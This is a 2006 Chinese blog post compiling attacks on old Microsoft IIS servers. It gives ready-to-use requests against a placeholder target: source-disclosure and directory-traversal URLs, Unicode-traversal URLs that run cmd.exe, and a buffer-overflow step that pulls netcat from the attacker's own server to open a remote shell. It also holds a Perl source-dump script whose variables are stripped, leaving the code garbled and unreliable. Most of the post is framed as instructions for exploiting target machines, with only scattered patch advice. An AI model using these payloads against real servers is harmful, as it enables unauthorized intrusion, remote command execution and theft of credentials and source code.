欢迎光临

木子屋

标题: IIS攻击大全

作者: admin

日期: 2006-07-14 01:15 PM

分类: 服务器

内容: 1．介绍
这里介绍的方法主要通过端口80来完成操作，具有很大的威胁性，因为作为网络服务器80端口总要打开的。如果想方便一些，下载一些WWW、CGI扫描器来辅助检查。
而且要知道目标机器运行的是何种服务程序，你可以使用以下命令：
telnet 《目标机》 80
GET HEAD / HTTP/1.0
就可以返回一些域名和WEB服务程序版本，如果有些服务器把WEB服务运行在8080，81，8000，8001口，你就TELNET相应的口上。
2．常见漏洞
（1）、Null.htw
IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞，即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码， global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制，进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index Server中没有充分防止各种类型文件的请求，所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量：
CiWebhitsfile
CiRestriction
CiHiliteType
你可通过下列方法传递变量来获得如default.asp的源代码：
http://www.目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
（2）、MDAC- 执行本地命令漏洞
这个漏洞出现得比较早，但在全球范围内，可能还有好多IIS WEB服务器存在这个漏洞，就像在今天，还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞，可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory，默认情况下，它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞：
c:\》nc -nw -w 2 《目标机》 80
GET /msadc/msadcs.dll HTTP
如果你得到下面的信息：
application/x_varg
就很有可能存在此漏洞且没有打上补丁，你可以使用rain forest puppy网站的两个程序进行测（www.wiretrip.net/rfp）==》mdac.pl和msadc2.pl。
（3）、ASP Dot Bug
这个漏洞出现得比较早了，是Lopht小组在1997年发现的缺陷，这个漏洞也是泄露ASP源代码给攻击者，一般在IIS3.0上存在此漏洞，在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。http://www.目标机.com/sample.asp.
（4）、idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞，其能在IIS4.0上显示其WEB目录信息，很奇怪有些人还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果此.idc不存在，它就返回一些信息给客户端。
http://www.目标机.com/anything.idc 或者 anything.idq
（5）、+.htr Bug
这个漏洞是由NSFOCUS发现的，对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：
http://www.目标机.com/global.asa+.htr
（6）、NT Site Server Adsamples 漏洞
通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：
http://www.目标机.com/adsamples/config/site.csc
（7）、IIS HACK
有人发现了一个IIS4.0的缓冲溢出漏洞，可以允许用户上载程序，如上载netcat到目标服务器，并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到站点www.technotronic.com中去下载，另外你还需要一台自己的WEB服务器，也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下，然后使用iishack.exe来检查目标机器：
c:\》iishack.exe 《目标机》 80 《你的WEB服务器》/ncx.exe
然后你就使用netcat来连接你要检测的服务器：
c:\》nc 《目标机》 80
如果溢出点正确，你就可以看到目标机器的命令行提示，并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序，但不是默认安装的，这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是，这个查看器并没有很好地限制所访问的文件，远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容，但要注意以下几点：
1．Codebrws.asp 和 Showcode.asp默认情况下不安装。
2．漏洞仅允许查看文件内容。
3．这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4．只允许同一分区下的文件可以被查看（所以把IIS目录和WINNT分区安装是个不错的方案，这样也可能比较好的防止最新的IIS5.0的unicode漏洞）.
5．攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求，你可以请求如下的命令：
http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/
iisamples/exair/howitworks/codebrws.asp
你就可以查看到codebrws.asp的源代码了。
你也可以使用showcode.asp来查看文件：
http://www.目标机.com/msadc/samples/selector/showcode.asp?
source=/msadc/../../../../../winnt/win.ini
当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器，或许其他的机器的安全性比WEB服务器差，如：http://xxx.xxx.xxx.xxx/msadc/Samples/SelectOR/showcode.asp?
source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log
（8）、webhits.dll & .htw
这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted（突出）其原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：
http://www.目标机.com/nosuchfile.htw
如果你从服务器端获得如下信息：
format of the QUERY_STRING is invalid
这就表示你存在这个漏洞。
这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw （这个一般为loopback使用）
攻击者可以使用如下的方法来访问系统中文件的内容：
http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。
（9）、ASP Alternate Data Streams（::）
这个漏洞是在1998年中期公布的，是在NTFS文件系统中存储在文件里面的main data stream属性，通过建立一个特殊格式的URL，就可能使用IIS在浏览器中访问这个data stream（数据流），这样做也就显示了文件代码中这些data stream（数据流）和任何文件所包含的数据代码。
其中这个漏洞需要下面的几个限制，一个是要显示的这个文件需要保存在NTFS文件分区（幸好为了"安全"好多服务器设置了NTFS格式），第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字，WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁，要查看一些.asp文件的内容，你可以请求如下的URL：
http://www.目标机.com/default.asp:: 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题，你或许可以看看这文章：
http://focus.silversand.net/newsite/skill/ntfs.txt
（10）、ISM.DLL 缓冲截断漏洞
这个漏洞存在于IIS4.0和5.0中，允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?（这些表示空格）并追加?.htr?的特殊请求给IIS，会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意，除非 WEB 服务停止并重启过，否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。
http://www.目标机.com/global.asa%20%20（...《=230）global.asa.htr
（11）、存在的一些暴力破解威胁.htr程序
IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个.htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制在loopback addr（127.0.0.1），请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下：
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样，攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务，请立即删除这个目录。
（12）、Translate:f Bug
这个漏洞发布于2000年8月15号（www.securityfocus.com/bid/1578），其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebD***中，当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，因此在IIS4.0上也有这个漏洞，你可而已使用下面的脚本来利用这个漏洞：
#############################
use IO::Socket； #
my （, ,）； #
=0； #
#############################
#
="[0]"；
=""；
="80"；
="[1]"；
&connect；
sub connect {
if （$#ARGV 《 1） {
howto（）；
exit；
}
="GET /%5C HTTP/1.0
Host:
Accept: */*
Translate: f
\n\n"；
my（,,）；
= inet_aton（） || die "Error: $!"；
= sockaddr_in（, ） || die "Error: $!"；
= getprotobyname（'tcp'） || die "Error: $!"；
socket（SOCK, PF_INET, SOCK_STREAM, ） || die "Error:
$!"；
connect（SOCK, ） || die "Error: $!"；
send（SOCK, , 0） || die "Can't to send packet: $!"；
open（OUT, "》.txt"）；
print "Dumping to .txt \n"；
while（《SOCK》） {
print OUT 《SOCK》；
}
sub howto {
print "type as follows: Trans.pl www.目标机.com codetoview.asp \n\n"；
}
close OUT；
=0；
=2；
close（SOCK）；
exit（1）；
}
你可以使用下面的方法来获得源代码：Trasn.pl www.目标机.com default.asp
（13）、IIS存在的Unicode解析错误漏洞
NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。
你可以使用下面的方法利用这个漏洞：
（1） 如果系统包含某个可执行目录，就可能执行任意系统命令。下面的URL可能列出当前目录的内容：
http://www.目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
（2） 利用这个漏洞查看系统文件内容也是可能的：
http://www.目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
这个漏洞是针对中文操作平台，你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本，原因就是编码不同。

+ 查看当前日志评论 (1)

登录

────────────

木子屋

PJBlog3 v3.2.9.518 Inside.

Processed In 0.719 ms

返回

标题: IIS攻击大全

你没有权限发表评论

────────────

木子屋

PJBlog3 v3.2.9.518 Inside.

Processed In 0.719 ms

返回

暂无评论

返回

────────────

木子屋

PJBlog3 v3.2.9.518 Inside.

Processed In 0.734 ms

返回